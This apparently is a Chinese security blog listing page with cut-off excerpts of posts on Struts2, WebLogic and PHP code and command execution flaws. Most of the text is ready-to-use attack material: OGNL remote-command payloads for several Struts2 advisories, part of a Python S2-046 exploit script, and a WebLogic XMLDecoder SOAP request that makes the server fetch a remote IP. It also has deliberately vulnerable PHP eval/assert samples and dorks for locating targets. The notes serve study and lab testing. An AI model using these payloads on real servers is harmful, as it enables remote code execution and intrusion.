Struts 2相关漏洞payload

0x00 S2-001 该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。 %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} 0x01 S2-005 影响版本: 2.0.0 - 2.1.8.1 http://aa.com/index.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 0x02 S2-007 影响版本: 2.0.0 - 2.2.3 当配置了验证规则 <ActionName>-validation.xml 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回。 ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + ' 0x03 S2-012 影响版本: 2.1.0 - 2.3.13 这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。 %{#a=(new java.lang.ProcessBuilder(new java.


WebLogic 反序列化漏洞(CVE-2017-10271)

0x00 WebLogic WLS组件反序列化漏洞 这个漏洞的编号是 CVE-2017-10271,漏洞存在于 Oracle WebLogic 的 wls-wsat 组件中,该组件的 XMLDecoder 方法在反序列化时存在漏洞可远程代码执行,凡是版本号 < 10.3.6 的都受到影响,刚出来时没有看,现在记录一下 漏洞环境:https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271 0x01 访问远程文件 POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 127.0.0.1:7001 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=DJbghZRGlJf0PyyLc52n4GdvrbDkrxKWGDpwnncFpHnqsDjMT68F!-298356074 Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Length: 688 Content-Type: text/xml <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.8" class="java.beans.XMLDecoder"> <object id="url" class="java.net.URL"> <string>http://114.115.123.123:80/aaaaaaa</string> </object> <object idref="url"> <void id="stream" method = "openStream" /> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> 0x02 写入文件 POST /wls-wsat/CoordinatorPortType HTTP/1.


Struts2-046 EXP

Struts2 046 前段时间写的struts2 046检测脚本,代码如下: #!/usr/bin/env python # -*- coding: utf-8 -*- # code by reber import sys import pycurl import StringIO def initCurl(): c = pycurl.Curl() c.setopt(pycurl.FOLLOWLOCATION, 1) #允许跟踪来源 c.setopt(pycurl.MAXREDIRS, 5) # c.setopt(pycurl.PROXY,'http://127.0.0.1:1080') return c def check(curl, url): head = [ 'Connection: close', 'Content-Type: multipart/form-data; boundary=---------------------------735323031399963166993862150' ] data = '''-----------------------------735323031399963166993862150\r\nContent-Disposition: form-data; name="foo"; filename="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo dd996b71024fa97cd015f06a7f24ed30').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\0b"\r\nContent-Type: text/plain\r\n\r\nx\r\n-----------------------------735323031399963166993862150--\r\n\r\n''' buf = StringIO.StringIO() curl.setopt(pycurl.WRITEFUNCTION, buf.write) curl.setopt(pycurl.POSTFIELDS, data) curl.setopt(pycurl.URL, url) # curl.setopt(pycurl.TIMEOUT, 10) curl.setopt(pycurl.HTTPHEADER, head) curl.


代码执行漏洞(二)

接着上一篇:代码执行漏洞(一) 0x00 函数create_function() php中的函数create_function()可以创建一个匿名函数,其函数原型如下: string create_function ( string $args , string $code ) 其中$args是函数的参数,$code是函数的内容 若对提交的code未过滤或过滤不当则可能会导致代码执行漏洞 0x01 示例 示例a.php代码如下: <?php $test = @$_GET['test']; $newfun = create_function('$a,$b', $test); $newfun('1111','2222'); ?> 上述代码中$nuwfun('1111','2222')代表此时$a='1111',$b='2222',然后将其传给$test 0x02 函数assert() 这个函数和eval()的作用差不多 <?php @assert($_GET['str']); ?>


代码执行漏洞(一)

0x00 代码执行 当应用在调用一些能将字符转化为代码的函数(如PHP中的eval)时,没有考虑用户是否能控制这个字符串,这就会造成代码执行漏洞。 0x01 相关函数 PHP:eval assert Python:exec asp:<%=CreateObject(“wscript.shell”).exec(“cmd.exe /c ipconfig”).StdOut.ReadAll()%> Java:没有类似函数,但采用的反射机制和各种基于反射机制的表达式引擎(OGNL、SpEL、MVEL等)有类似功能 0x02 phpcms中的string2array函数 这个函数可以将phpcms的数据库settings的字符串形式的数组内容转换为真实的数组 array( //这个是字符串形式的数组,它并不是数组,而是字符串 'upload_maxsize' => '2048', 'upload_allowext' => 'jpg|jpeg|gif|bmp|png|doc|docx|xls|xlsx|ppt|pptx|pdf|txt|rar|zip|swf', 'watermark_enable' => '1', 'watermark_minwidth' => '300', 'watermark_minheight' => '300', 'watermark_img' => '/statics/img/water/mark.png', 'watermark_pct' => '85', 'watermark_quality' => '80', 'watermark_pos' => '9', ) function string2array($data) { //这个函数可以将字符串$data转化为数组 if($data == '') return array(); @eval("\$array = $data;"); return $array; } 0x03 漏洞危害 执行代码 让网站写shell 甚至控制服务器 0x04 漏洞分类(也是利用点) 执行代码的函数:eval、assert callback函数:preg_replace + /e模式 反序列化:unserialize()(反序列化函数) 0x05 漏洞挖掘 框架找漏洞,如ThinkPHP: inurl:index.


命令执行漏洞

0x00 命令执行 应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、 passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令 拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。 0x01 利用条件 应用调用执行系统命令的函数 将用户输入作为系统命令的参数拼接到了命令行中 没有对用户输入进行过滤或过滤不严 0x02 漏洞分类 代码层过滤不严 商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函数来调用: system(“/bin/program --arg $arg”); 系统的漏洞造成命令执行 bash破壳漏洞(CVE-2014-6271) 执行env x='() { :;}; echo vulnerable' bash -c "echo this is a test"后 若输出vulnerable则证明存在漏洞 调用的第三方组件存在代码执行漏洞 如WordPress中用来处理图片的ImageMagick组件 JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等) ThinkPHP命令执行 0x03 漏洞危害 继承Web服务程序的权限去执行系统命令或读写文件 反弹shell 控制整个网站甚至控制服务器 进一步内网渗透 等等 0x04 漏洞挖掘 可以google hacking 尝试:filetype:action或filetype:do来找struts2 0x05 漏洞可能代码(以system为例) 1. system("$arg"); //直接输入即可 2. system("/bin/prog $arg"); //直接输入;ls 3. system("/bin/prog -p $arg"); //和2一样 4.



可以返回顶部